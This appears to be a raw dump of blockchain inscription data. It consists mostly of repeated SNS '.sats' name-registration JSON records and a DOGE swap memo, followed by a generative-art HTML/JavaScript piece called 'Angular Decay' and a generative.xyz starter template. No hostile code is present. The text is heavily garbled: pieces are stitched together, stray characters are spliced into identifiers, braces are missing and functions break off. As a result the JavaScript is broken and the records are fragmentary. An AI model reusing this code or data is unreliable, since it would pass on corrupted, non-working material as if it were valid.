({"p":"sns","op":"reg","name":"fis.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5870.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"biconomy.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"KING.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Tim.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4072.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"006.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4158.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5820.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4320.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4180.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5620.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10432.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4190.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"04233.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"01270.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5926.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5827.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5908.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"push.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"60001.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"138.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12010.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"kkb.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Club.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5689.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12233.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"zoras.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mood.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"psy.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10079.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5897.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"x00.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5807.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4192.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"superrare.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"marryme.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5910.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4238.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4326.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"argent.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"13666.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10082.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4308.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"BTCFI.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12123.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5896.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xjj.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5980.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"tesla.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5906.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"33977.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"blur.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12223.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10996.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4250.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5912.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"xcopy.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"btcbtc.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5927.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5872.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"18666.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10492.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"66440.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"40001.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"90001.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4230.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"80001.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"core.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Jin.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10077.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gzmt.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5907.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4092.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4310.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Bored.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5930.sats"}h! text/plain;charset=utf-8 "name": "emperor.sats" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"san.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5670.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"70001.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5982.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4278.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"btc1.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5867.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11996.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5816.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"tsui.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5876.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12996.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"id.sats"}h! text/plain;charset=utf-8 &{"p":"sns","op":"reg","name":"S.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"rrs.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mmd.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10068.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4102.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"00x.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5869.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"xgg.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5978.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5976.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4138.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"metamask.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"mpi.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4208.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5603.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5610.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5936.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10258.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5628.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"durak.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4170.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4296.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"YSL.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"land.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5809.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4128.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4268.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"zsk.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"rrf.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4256.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12456.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4182.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4152.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5692.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11233.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5960.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4306.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12888.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kids.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0098.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5860.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"19888.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4290.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4132.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4136.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"hi.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10096.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5632.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4302.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4130.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"multicoin.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4186.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5967.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10792.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4162.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4270.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4276.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"lighting.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5962.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5812.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5970.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4160.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11178.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"goodbye.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"gitcoin.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5928.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7k7k.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5618.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4236.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5672.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"yygq.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5830.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10820.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5987.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4108.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10064.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"X00.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"2017.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12315.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"0001..sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5968.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"hermes.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"wss.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4298.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5630.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10911.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11146.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"openai.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12908.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10058.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Xverse.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4150.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5602.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12119.sats"}h! text/plain;charset=utf-8 6{"p":"sns","op":"reg","name":"BoredApeYachtClub.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4206.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5798.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"20001.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"13007.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10059.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"15666.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5902.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11291.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4178.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9750.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9756.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9752.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9751.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9781.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9784.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9785.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9754.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9786.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9758.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9783.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9782.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9780.sats"}h! DjB=:DOGE.DOGE:DCuec92xNMd5jXRmftCvfu4MjPUow7A2Eo:52005025557952:t:30> text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9826.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9856.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9836.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9806.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9801.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9810.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9803.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9805.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9804.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9806.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9807.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9802.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"multicoin.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5ire.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"biconomy.sats"}h! text/plain;charset=utf-8 "name": "a00.sats" text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/html;charset=utf-8 <meta charset="UTF-8"> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" srcM ="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="M https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdM njs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" srcM ="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.M split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function 